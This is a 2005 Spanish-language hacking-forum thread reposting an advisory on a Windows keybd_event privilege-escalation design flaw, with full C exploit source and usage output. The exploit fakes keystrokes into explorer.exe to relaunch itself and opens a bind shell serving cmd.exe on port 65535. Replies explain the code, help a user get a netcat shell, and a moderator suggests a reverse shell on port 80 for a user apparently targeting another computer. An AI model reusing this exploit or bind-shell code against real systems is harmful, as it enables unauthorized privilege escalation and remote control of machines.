elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 21:49  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [UP] Microsoft Windows 9x,2k,xp keybd_event design error
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [UP] Microsoft Windows 9x,2k,xp keybd_event design error  (Leído 2,748 veces)
esse

Desconectado Desconectado

Mensajes: 33


Ver Perfil
[UP] Microsoft Windows 9x,2k,xp keybd_event design error
« en: 10 Diciembre 2005, 05:24 »

Código:
Vulnerability: Microsoft Windows keybd_event validation vulnerability.
Type:....... Fallo de diseño
Vendor:..... Microsoft
Impact:..... Elevación de privilegios locales.
Credits:.... Andrés Tarascó ( aT4r _@_ haxorcitos.com )
.... Iñaki Lopez    ( ilo  _@_ reversing.org  )



Descripcion:
____________

Como ya es sabido, con el modelo de Seguridad actual de Windows, todas las aplicaciones que comparten
el escritorio pueden enviarse mensajes entre ellas.  Es decir, cualquier aplicacion del escritorio
puede obtener el handle de la ventana de un proceso en ejecución.

Esta facilitad, unida a la posibilidad de que cualquier aplicacion emule un teclado virtual, enviando
pulsaciones de teclas, permite que un proceso no privilegiado pueda enviar mensajes al sistema emulando
pulsaciones de teclado como si se tratase de un usuario de forma interactiva.


Escenario de ataque:
____________________


Existen dos escenarios identificados en los que dicho ataque se puede llevar a cabo con éxito,

El servicio Runas, permite la ejecución de aplicaciones con los privilegios de otro usuario. En algunos
casos, un usuario podría ejecutar una aplicación no confiable restringiendo dichos permisos es decir,
realizar una bajada de privilegios para ejecutar una shell desde la que trabajar o verificar el funcionamiento
de una aplicación. Esta aplicación ejecutada en este entorno restringido comparte el mismo escritorio que
el resto de las aplicaciones de usuario.

En segundo lugar, cualquier servicio en ejecución en el sistema que posea el flag INTERACT_WITH_DESKTOP
tendra acceso al mismo escritorio del usuario.


Ataque:
_______


En el caso de que un atacante consiga ganar acceso a una aplicación ejecutada por cualquiera de estos
métodos , ya sea por ejecución directa de la misma o tras explotar un fallo de seguridad de esta aplicación,
utilizando las apis del sistema kebd_event() o SendKeys() es posible enviar una combinación de teclas que sera
interpretada directamente por el explorer.exe permitiendo la ejecución de código con los privilegios del
usuario que ha iniciado la sesión. Este ataque permitiria saltarse de forma satisfactoria las restricciones
que el servicio Runas ofrece para la ejecución de aplicaciones y elevar privilegios.



Respuesta del vendedor
________________________

Tras discutir con el MSRC (Microsoft Security Response Center) han identificado esta vulnerabilidad como
un fallo de diseño, donde el límite de seguridad es el escritorio, y sin una solucion viable, dado que herramientas
automáticas asi como el teclado virtual incluido en Windows XP dejarian de funcionar si esta facilitad no existiese.


Soluciones:
____________


- Unicamente permitir a los servicios confiables y en el caso en que sea totalmente necesario el acceso
al escritorio.
- No utilizar el servicio Runas en entornos de producción.


Exploit:
_________

/*
 * Microsoft Windows keybd_event validation vulnerability.
 *          Local privilege elevation
 *
 * Credits:    Andres Tarasco ( aT4r _@_ haxorcitos.com )
 *             Iñaki Lopez    ( ilo _@_ reversing.org )
 *
 * Platforms afected/tested:
 *
 *     - Windows 2000
 *     - Windows XP
 *     - Windows 2003
 *
 *
 * Original Advisory: http://www.haxorcitos.com
 *                    http://www.reversing.org 
 *
 * Exploit Date: 08 / 06 / 2005
 *
 * Orignal Advisory:
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 * Attack Scenario:
 *
 * a) An attacker who gains access to an unprivileged shell/application executed
 * with the application runas.
 * b) An attacker who gains access to a service with flags INTERACT_WITH_DESKTOP
 *
 * Impact:
 *
 * Due to an invalid keyboard input validation, its possible to send keys to any
 * application of the Desktop.
 * By sending some short-cut keys its possible to execute code and elevate privileges
 * getting loggued user privileges and bypass runas/service security restriction.
 *
 * Exploit usage:
 *
 * C:\>whoami
 * AQUARIUS\Administrador
 *
 * C:\>runas /user:restricted cmd.exe
 * Escribir contraseña para restricted:
 * Intentando iniciar "cmd.exe" como usuario "AQUARIUS\restricted"...
 *
 *
 * Microsoft Windows 2000 [Versión 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\WINNT\system32>cd \
 *
 * C:\>whoami
 * AQUARIUS\restricted
 *
 * C:\>tlist.exe |find "explorer.exe"
 * 1140 explorer.exe      Program Manager
 *
 * C:\>c:\keybd.exe 1140
 * HANDLE Found. Attacking =)
 *
 * C:\>nc localhost 65535
 * Microsoft Windows 2000 [Versión 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\>whoami
 * whoami
 * AQUARIUS\Administrador
 *
 *
 * DONE =)
 *
 */

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";

/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
DWORD hwndid;
    int i;


GetWindowThreadProcessId(hwnd,&hwndid);

if (hwndid == pid){
    /*
      Replace keybd_event with SendMessage() and PostMessage() calls
    */
        printf("HANDLE Found. Attacking =)\n");
        SetForegroundWindow(hwnd);
        keybd_event(VK_LWIN,1,0,0);
        keybd_event(VkKeyScan('r'),1,0,0);
        keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
        keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
        for(i=0;i<strlen(buf);i++) {
            if (buf[i]==':') {
                keybd_event(VK_SHIFT,1,0,0);
                keybd_event(VkKeyScan(buf[i]),1,0,0);
                keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
                keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
            } else {
                if (buf[i]=='\\') {
                    keybd_event(VK_LMENU,1,0,0);
                    keybd_event(VK_CONTROL,1,0,0);
                    keybd_event(VkKeyScan('º'),1,0,0);
                    keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VkKeyScan('º'),1,KEYEVENTF_KEYUP,0);
                } else {
                    keybd_event(VkKeyScan(buf[i]),1,0,0);
                    keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
                }
            }
        }
        keybd_event(VK_RETURN,1,0,0);
        keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
        exit(1);
    }
}
/**************************************************************/

int BindShell(void) { //Bind Shell. POrt 65535

SOCKET s,s2;
STARTUPINFO si;
    PROCESS_INFORMATION pi;
WSADATA HWSAdata;
struct sockaddr_in sa;
int len;

if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ exit(1); }

    sa.sin_family = AF_INET;
    sa.sin_port = (USHORT)htons(HAXORCITOS);
    sa.sin_addr.s_addr = htonl(INADDR_ANY);
    len=sizeof(sa);
    if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { return(-1); }
    if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
    s2 = accept(s,(struct sockaddr *)&sa,&len);
    closesocket(s);

ZeroMemory( &si, sizeof(si) );  ZeroMemory( &pi, sizeof(pi) );
si.cb = sizeof(si);
si.wShowWindow  = SW_HIDE;
    si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdInput = (void *) s2; // SOCKET
    si.hStdOutput = (void *) s2;
    si.hStdError = (void *) s2;
    if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 0,NULL,NULL,&si,&pi)) {
        doFormatMessage(GetLastError());
        return(-1);
    }

    WaitForSingleObject( pi.hProcess, INFINITE );
closesocket(s);
closesocket(s2);
    printf("SALIMOS...\n");
    Sleep(5000);
    return(1);


}
/**************************************************************/
void main(int argc, char* argv[])
{
    HWND console_wnd = NULL;
   
if (argc >= 2) {
        pid = atoi (argv[1]);
        strncpy(buf,argv[0],sizeof(buf)-1);
    EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
    } else {
        BindShell();
    }
}
/**************************************************************/


« Última modificación: 31 Diciembre 2005, 08:17 por Sirdarckcat » En línea
CrowDat

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #1 en: 10 Diciembre 2005, 14:00 »

Buenas,
sobre lo de compilar el exploit, cambia donde pone doFormatMessage por printf.

Echa un ojo aqui: http://cyruxnet.org/foro/viewtopic.php?t=695

Sobre el whoami, es una herramienta del Windows 2000 resource kit, ademas de estas utilidades hay muchas mas, gran parte de ellas son muy utilizadas por los administradores de sistemas por lo que es habitual tenerlas instaladas.

En la web de microsoft puedes descargarlas.

Saludos

En línea
esse

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #2 en: 10 Diciembre 2005, 21:38 »

muchas gracias, pero lo he pobado y el netcat no me conecta  ??? y el explot me dice Handle Found Attacking =),
No se se tenga algo q ver pero cada vez q ejecuto el explot me sale la ventana de ejecutar:S
En línea
o2T7f6j2
echo -e "Nos vemos en \n$(pwd)"


Desconectado Desconectado

Mensajes: 2.782


./configure --enable-levitation --enable-diamagnet


Ver Perfil
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #3 en: 11 Diciembre 2005, 10:43 »

Citar
No se se tenga algo q ver pero cada vez q ejecuto el explot me sale la ventana de ejecutar:S

 :o ¿No es esa la finalidad del exploit?
En línea


No debemos perder la fe en la humanidad que es como el océano: no se ensucia porque algunas de sus gotas estén sucias.Mahatma Gandhi (2 de Octubre del 1869 - 30 de Enero del 1948)
esse

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #4 en: 12 Diciembre 2005, 04:30 »

la finalidad no es obtener un shell de admin? no creo q la finalidad es q te salga la tipica ventanita de ejecutar  ???
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #5 en: 13 Diciembre 2005, 00:23 »

¿No es esa la finalidad del exploit?
Asi es. A ver, estaría bueno leer un poco el exploit:
Código:
if (argc >= 2) {
        pid = atoi (argv[1]);
        strncpy(buf,argv[0],sizeof(buf)-1);
    EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
    } else {
        BindShell();
    }
Aca viene bien tener a mano la ayuda de msdn. Como no se que *** hace EnumWindows, entonces me fije en la ayuda y dice esto. Básicamente nosotros le pasamos a EnumWindows una función de manera que nuestra función va a ser llamada tantas veces como ventanas existan(por eso lo de enum), pasándole como parámetro el manejador de cada ventana, de ahí viene que:
Código:
void ExplorerExecution (HWND hwnd, LPARAM lParam)
Esta función es la que se le pasó a EnumWindows. Debe estar definida de esa manera. Por lo tanto ahora sabemos que esa función será llamada, y el parámetro hwnd será el manejador de cada ventana. Como el que nos interesa es el del escritorio, tenemos que sacar el id del proceso de explorer.exe. Para no complicarme demasiado, me bajé un programita visor de procesos donde me decía el id del proceso. Se puede hacer vía código, pero se me complicó demasiado jeje.
Porque interesa el escritorio? porque asi podremos ejecutar, simulando las pulsaciones de las teclas, el exploit otra vez, ¿y para que otra vez?, pues en eso consiste la vulnerabilidad.
Para que el exploit sea ejecutado de vuelta, se busca el escritorio, y se simulan las teclas:
Inicio->Ejecutar->"c:\keybd.exe"
Entonces gracias al if de main, como ahora no se le pasa ningún parámetro, va a llamar a la función BindShell(), la cual hará de las suyas  ;D.
Bueno sigamos ahora con la función ExplorerExecution.
En algún momento será llamada por el escritorio, entonces paramos ahi:
Código:
GetWindowThreadProcessId(hwnd,&hwndid);
if (hwndid == pid)
No creo que haga falta explicar esa api  :P. Con eso se agarro el escritorio, el resto del codigo es bastante claro, ya que queda simplemente simular las teclas. Hay que corregir un poco el código para que funcione porque esta hecho para la version en ingles:
Código:
keybd_event(VK_LWIN,1,0,0);
keybd_event(VkKeyScan('r'),1,0,0);
Ejecutar=Run :P.
Con saber algo de c es suficiente. Por eso recomiendo que lean lo que hace el exploit antes de hacer nada. Espero que te haya resuelto el problema esse.
Bytes.
« Última modificación: 13 Diciembre 2005, 00:30 por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
esse

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #6 en: 14 Diciembre 2005, 02:57 »

gracias ivanchuk, ya logre hacer abrir el proceso, pero el netcta no conecta por mas q cambio el puerto y demas , alguein podria decirme q pasa uso win xp sp2  ???


gracias
En línea
esse

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #7 en: 14 Diciembre 2005, 21:58 »

por favor necesito elevar los privilegios, lo unico q necesito es abrir el paso a un programa en el firewall de xp sp2 ;)
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #8 en: 15 Diciembre 2005, 00:49 »

jaja, ya ves si funciona :P
mira puedes hacer esto:
Ponle en el puerto 80 con el CMD.. en un reverse shell.
Saludos!!
En línea

esse

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #9 en: 15 Diciembre 2005, 01:14 »

es q mira pondre capturas:

ejecuto el exploit y lo vuelve a ejecutar como me dijeron:

me abre otra ventana en espera de la conexion conecto con el nc pero no me da la shell incluso cambie el puerto a 80 si se dieron cuenta ;)



« Última modificación: 15 Diciembre 2005, 01:16 por esse » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Microsoft Windows keybd_event validation vulnerability.
« Respuesta #10 en: 15 Diciembre 2005, 06:06 »

intenta con el netcat en verbose.. asi:
Código:
nc -vv 127.0.0.1 80
por cierto, que esa computadora a la que quieres privlegiarte xD no tiene algun antivirus, que muchos reconocen al netcat como HackTool y sin decirte nada Bloquean sus acciones..
aparte de que debe haber una aplicación en ejecución que este bajo privilegos de system o admin.. si no es bug, es un error de diseño (asi como el sethc~>cmd), como te estas tratando de conectar, es con telnet, asi que si ya tienes una shell, es mas facil hacerlo con:
Código:
telnet localhost 80
:p
Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Alternativa a keybd_event ?
Programación Visual Basic
LeandroA 4 2,115 Último mensaje 6 Enero 2011, 15:58
por LeandroA
Ejercicio del patrón Decorador del libro Head First Design Patterns
Java
Aikanáro Anário 2 377 Último mensaje 17 Febrero 2012, 02:44
por Aikanáro Anário
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines